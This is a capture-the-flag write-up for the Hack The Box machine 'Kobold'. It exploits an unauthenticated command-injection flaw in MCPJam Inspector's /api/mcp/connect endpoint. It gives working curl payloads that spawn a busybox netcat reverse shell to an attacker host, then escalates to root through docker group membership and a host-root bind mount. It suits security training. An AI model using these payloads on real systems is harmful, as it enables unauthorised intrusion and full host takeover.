| layout | default |
|---|---|
| title | Kobold |
| parent | Easy Machines |
| grand_parent | Machines |
| permalink | /machines/easy/kobold/ |
| Property | Value |
|---|---|
| OS | Linux |
| Difficulty | Easy |
| Release | 2026-03-21 (Season 10, Week 8) |
| Creator | sau123 |
| Tags | #mcp #ai #cve-2026-23744 #rce #docker-escape #busybox |
Kobold targets MCPJam Inspector v1.4.2, a developer tool for testing Model Context Protocol (MCP) servers. The /api/mcp/connect endpoint passes the command field directly into Node.js child_process.spawn() with no authentication or sanitisation (CVE-2026-23744), giving unauthenticated RCE. Initial foothold lands as user ben. Privilege escalation is via a dormant docker group membership - newgrp docker activates it, after which a privileged container with the host root filesystem bind-mounted gives full root.
- HTB-Andres (Beehiiv)
- Hassan Hamadi
- Security Walay
- Hack With Husnain
- CyberSecGuru: Mastering Kobold
- Medium - ItsSunshineXD
- Medium - Adhilbinmujeeb
- Axura (Protected)
- The Pentesting Ninja (Protected)
- Undercode Testing
- CVE-2026-23744: Unauthenticated RCE in MCPJam Inspector
/api/mcp/connect child_process.spawn()command injection (Node.js)- MCP server registration as RCE primitive
- Busybox reverse shell payload
- Dormant
dockergroup activation vianewgrp - Docker container escape via host root bind mount
nmap -p- --min-rate=10000 -sV -sC kobold.htb
# 22/tcp ssh
# 80/tcp http -> MCPJam Inspector v1.4.2The vulnerability sits in the API endpoint that connects to MCP servers. Body is parsed and command is passed to child_process.spawn(command, args) with no auth, no allowlist:
curl -s -X POST http://kobold.htb/api/mcp/connect \
-H 'Content-Type: application/json' \
-d @- <<'JSON'
{
"name": "pwn",
"command": "busybox",
"args": ["sh", "-c", "busybox nc <ATTACKER> 4444 -e /bin/sh"]
}
JSONListener catches shell as ben:
nc -lvnp 4444
# whoami -> benid
# uid=1000(ben) gid=1000(ben) groups=1000(ben)
# But supplementary groups not yet active in the spawned shell - check /etc/group
grep docker /etc/group
# docker:x:998:ben
newgrp docker
id
# uid=1000(ben) ... groups=1000(ben),998(docker)With docker group, escape to root:
docker run -v /:/host --rm -it alpine chroot /host bash
# whoami -> root
cat /root/root.txt- MCP / AI dev tooling expects "trusted local environment" - never expose to network.
child_process.spawn(userInput, ...)without an allowlist is RCE by design.dockergroup membership = root equivalent. Sub-shells may not auto-load supplementary groups;newgrpre-evaluates/etc/group.- Container escape via bind-mounted host root is the canonical post-docker-group move - no kernel exploit, no breakout magic, just
-v /:/host.
TARGET=kobold.htb; LHOST=10.10.14.5; LPORT=4444; \
curl -s -X POST http://$TARGET/api/mcp/connect \
-H 'Content-Type: application/json' \
-d "{\"name\":\"x\",\"command\":\"busybox\",\"args\":[\"sh\",\"-c\",\"busybox nc $LHOST $LPORT -e /bin/sh\"]}"